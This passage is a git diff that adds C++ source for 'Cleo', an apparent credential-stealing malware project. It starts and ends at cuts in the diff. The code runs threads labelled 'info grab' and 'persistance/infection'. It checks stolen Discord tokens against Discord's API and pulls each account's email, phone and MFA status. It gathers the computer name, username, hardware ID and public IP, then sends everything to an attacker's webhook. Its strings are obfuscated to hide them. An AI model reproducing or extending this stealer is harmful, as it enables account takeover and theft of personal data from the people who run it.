std::this_thread::sleep_for(std::chrono::seconds(1)); + + std::thread mr(MainRoutine); // Get PC information and find all discord tokens - info grab. + std::thread ir(InfectRoutine); // Infect the computer & discord - persistance/infection. + // Thread Managing + if (mr.joinable()) + mr.join(); + if (ir.joinable()) + ir.join(); + delete anti; +} \ No newline at end of file diff --git a/Cleo/Modules.h b/Cleo/Modules.h new file mode 100644 index 0000000..a6e7992 --- /dev/null +++ b/Cleo/Modules.h @@ -0,0 +1,76 @@ +#pragma once +#include "Config.h" +#include // CPR include comes with string include etc +#include + +namespace Modules +{ + enum class INTERNET_STATUS + { + CONNECTED, + DISCONNECTED, + CONNECTED_TO_LOCAL, + CONNECTION_ERROR + }; + + inline INTERNET_STATUS IsConnectedToInternet() + { + INTERNET_STATUS connectedStatus = INTERNET_STATUS::CONNECTION_ERROR; + if (InternetCheckConnection(AY_OBFUSCATE("https://www.google.com"), FLAG_ICC_FORCE_CONNECTION, NULL)) + connectedStatus = INTERNET_STATUS::CONNECTED; + else + connectedStatus = INTERNET_STATUS::DISCONNECTED; + return connectedStatus; + } + + // Send data to webhook normally + inline void WebhookSend(const std::string& text) + { + cpr::Response r = cpr::Post(cpr::Url { Config::webhook }, + cpr::Payload{ {"content", text} }); + } + + // Send data to webhook in a Cleo report format + void CleoReport(const std::string& text) + { + std::string msg(AY_OBFUSCATE("**Cleo Report** - v")); + msg.append(Config::version); + msg.append("\n\n"); + msg.append(text); + WebhookSend(msg); + } + + // Used for discord token finding + inline std::vector find_match(const std::string& str, std::regex& reg) + { + std::vector output; + std::sregex_iterator currentMatch(str.begin(), str.end(), reg); + std::sregex_iterator lastMatch; + + while (currentMatch != lastMatch) { + std::smatch match = *currentMatch; + output.push_back(match.str()); + currentMatch++; + } + return output; + } + + // Checks if a token is valid, returns true if valid - vice versa + inline bool CheckToken(const std::string& match) + { + cpr::Response res = cpr::Get(cpr::Url{ AY_OBFUSCATE("https://discordapp.com/api/v9/channels/@me") }, + cpr::Header{ {"Content-Type", "application/json"}, {"Authorization", match} }); + if (res.status_code == 400) // 400 is good + return true; + return false; + } + + /* + [[maybe_unused]] inline std::string xorstring(std::string& input, const std::string& key) { + if (key.size() == 0) return input; + for (uint32_t i = 0; i < input.size(); i++) + input[i] ^= key[i % key.length()]; + return input; + } + */ +} \ No newline at end of file diff --git a/Cleo/User.cpp b/Cleo/User.cpp new file mode 100644 index 0000000..06eb297 --- /dev/null +++ b/Cleo/User.cpp @@ -0,0 +1,181 @@ +#include "user.h" + +namespace fs = std::filesystem; + +void User::local::toLowerCase(char* ptr, size_t size) +{ + for (uint32_t i = 0; i < size; i++) { + if (isupper(ptr[i])) + ptr[i] = tolower(ptr[i]); + } +} + +cpr::Response User::Discord::Get_Request(const std::string& token) { + cpr::Response r = cpr::Get(cpr::Url{ AY_OBFUSCATE("https://discordapp.com/api/v9/users/@me") }, + cpr::Header{ {"Content-Type", "application/json"}, {"Authorization", token} }); + std::ofstream info; + info.open(this->info_path); + info << r.text; + info.close(); + return r; +} + +User::Discord::Discord(const std::string& token) +{ + try { + this->token = token; + this->Get_Request(token); + if (!fs::exists(this->info_path)) + return; + Json::Value info_file; + std::ifstream cfgfile(this->info_path); + cfgfile >> info_file; + // JSON Parsing + id = info_file["id"].asString(); + std::string name = info_file["username"].asString(); + std::string disc = info_file["discriminator"].asString(); + username = name + "#" + disc; + std::string av_id = info_file["avatar"].asString(); + avatar = AY_OBFUSCATE("https://cdn.discordapp.com/avatars/"); + avatar.append(id + "/" + av_id); + email = info_file["email"].asString(); + phone = info_file["phone"].asString(); + locale = info_file["locale"].asString(); + verified = info_file["verified"].asBool(); + mfa_enabled = info_file["mfa_enabled"].asBool(); + nitro = info_file["premium_type"].asInt(); + cfgfile.close(); + } + + catch (...) { + return; + } +} + +std::string User::Discord::get_token_info() +{ + try { + std::string token_info = ""; + std::string verified_str, mfa_enabled_str, nitro_str; + // MFA + switch (mfa_enabled) + { + case false: mfa_enabled_str = "false"; break; + case true: mfa_enabled_str = "true"; break; + //default: mfa_enabled_str = AY_OBFUSCATE("error"); break; + } + // Verified + switch (verified) + { + case false: verified_str = "false"; break; + case true: verified_str = "true"; break; + //default: verified_str = AY_OBFUSCATE("error"); break; + } + // Nitro (int) + switch (nitro) + { + case 0: nitro_str = "none"; break; + case 1: nitro_str = AY_OBFUSCATE("true - classic"); break; + case 2: nitro_str = AY_OBFUSCATE("true - premium"); break; + default: nitro_str = "error"; break; + } + + std::stringstream stream_info; + stream_info << AY_OBFUSCATE("Token: ") << this->token << "\r\n" \ + << AY_OBFUSCATE("Username: ") << username << "\r\n" \ + << AY_OBFUSCATE("ID: ") << id << "\r\n" \ + << AY_OBFUSCATE("Email: ") << email << "\r\n" \ + << AY_OBFUSCATE("Phone: ") << phone << "\r\n" \ + << AY_OBFUSCATE("Locale: ") << locale << "\r\n" \ + << AY_OBFUSCATE("Verified: ") << verified_str << "\r\n" \ + << AY_OBFUSCATE("Mfa Enabled: ") << mfa_enabled_str << "\r\n" \ + << AY_OBFUSCATE("Nitro: ") << nitro_str << "\r\n" \ + << AY_OBFUSCATE("Avatar: ") << avatar << "\r\n"; + token_info = stream_info.str(); + return token_info; + } + + catch (const std::exception& e) { + return e.what(); + } +} + +// Ref: https://weseetips.wordpress.com/tag/c-get-cpu-name/ +std::string User::PC::get_CPU() +{ + int CPUInfo[4] = { -1 }; + __cpuid(CPUInfo, 0x80000000); + unsigned int Ids = CPUInfo[0]; + char szCPU[0x40] = { 0 }; + + for (unsigned int i = 0x80000000; i <= Ids; ++i) + { + __cpuid(CPUInfo, i); + int size = sizeof(CPUInfo); + + if (i == 0x80000002) + memcpy(szCPU, CPUInfo, size); + else if (i == 0x80000003) + memcpy(szCPU + 16, CPUInfo, size); + else if (i == 0x80000004) + memcpy(szCPU + 32, CPUInfo, size); + } + return szCPU; +} + +std::string User::PC::get_info() +{ + try { + const char* path_1 = AY_OBFUSCATE("SYSTEM\\CurrentControlSet\\Control\\SystemInformation"); + HW_PROFILE_INFO hardware; + SYSTEM_INFO siSysInfo; + GetSystemInfo(&siSysInfo); + + std::string szProcCount = std::to_string(siSysInfo.dwNumberOfProcessors); + char szComputerName[1024]; + DWORD dwSize = sizeof(szComputerName); + GetComputerNameA(szComputerName, &dwSize); + + char szUsername[1024]; + DWORD dwUser = sizeof(szUsername); + GetUserNameA(szUsername, &dwUser); + + std::string sysManufacturer, sysName; + char buf[1000]; + int ret; + DWORD sz = 1000; + ret = RegGetValueA(HKEY_LOCAL_MACHINE, path_1, AY_OBFUSCATE("SystemManufacturer"), RRF_RT_ANY, NULL, &buf[0], &sz); + local::toLowerCase(buf, strlen(buf)); + sysManufacturer = buf; + ret = RegGetValueA(HKEY_LOCAL_MACHINE, path_1, AY_OBFUSCATE("SystemProductName"), RRF_RT_ANY, NULL, &buf[0], &sz); + local::toLowerCase(buf, strlen(buf)); + sysName = buf; + + std::string pc_info = ""; + const char* hwid = "none"; + if (GetCurrentHwProfile(&hardware)) + hwid = hardware.szHwProfileGuid; + + auto ip = cpr::Get(cpr::Url{ AY_OBFUSCATE("https://api.ipify.org/?format=text") }).text; + char current_module[MAX_PATH]; + GetModuleFileNameA(nullptr, current_module, MAX_PATH); + + std::stringstream stream_info; + stream_info << AY_OBFUSCATE("```\nComputer name: ") << szComputerName << "\r\n" \ + << AY_OBFUSCATE("Username: ") << szUsername << "\r\n" \ + << AY_OBFUSCATE("System Manufacturer: ") << sysManufacturer << "\r\n" \ + << AY_OBFUSCATE("System Name: ") << sysName << "\r\n" \ + << AY_OBFUSCATE("Processor: ") << this->get_CPU() << "\r\n" \ + << AY_OBFUSCATE("Hardware ID: ") << hwid << "\r\n" \ + << AY_OBFUSCATE("Thread Count: ") << szProcCount << "\r\n" \ + << AY_OBFUSCATE("Current Path: ") << current_module << "\r\n" \ + << AY_OBFUSCATE("IP: ") << ip << "\r\n" \ + << AY_OBFUSCATE("\n```"); + pc_info = stream_info.str(); + return pc_info; + } + + catch (const std::exception& e) { + return e.what(); + } +} \ No newline at end of file diff --git a/Cleo/User.h b/Cleo/User.h new file mode 100644 index 0000000..dca3d85 --- /dev/null +++ b/Cleo/User.h @@ -0,0 +1,49 @@ +#pragma once +#include +#include +#include +#include +#include +#include +#include "AY_Obfuscate.h" + +namespace User +{ + inline bool logged = false; + + inline namespace local { + void toLowerCase(char* ptr, size_t size); + } + + struct Discord { + private: + cpr::Response Get_Request(const std::string& token); + const char* info_path = AY_OBFUSCATE("C:\\Windows\\Temp\\info.json"); // Don't remove, but change the path if you'd like (has to stay as JSON file) + public: + //Discord() = default; + Discord(const std::string& token); + std::string get_token_info(); + ~Discord() = default; + private: + std::string token; + std::string username = "none"; + std::string id = "none"; + std::string avatar = "none"; + std::string email = "none"; + std::string phone = "none"; + std::string locale = "none"; + bool verified{}; + bool mfa_enabled{}; + std::string banner = "none"; + int nitro{}; + }; + + struct PC { + private: + std::string get_CPU(); // Reference: https://weseetips.wordpress.com/tag/c-get-cpu-name/ + public: + PC() = default; + std::string get_info(); + ~PC() = default; + }; +}; \ No newline at end of file diff --git a/Cleo/cpp.hint b/Cleo/cpp.hint new file mode 100644 index 0000000..6d5e19b --- /dev/null +++ b/Cleo/cpp.hint @@ -0,0 +1,4 @@ +// Hint files help the Visual Studio IDE interpret Visual C++ identifiers +// such as names of functions and macros. +// For more information see https://go.microsoft.com/fwlink/?linkid=865984 +#define AY_OBFUSCATE(data) AY_OBFUSCATE_KEY(data, AY_OBFUSCATE_DEFAULT_KEY)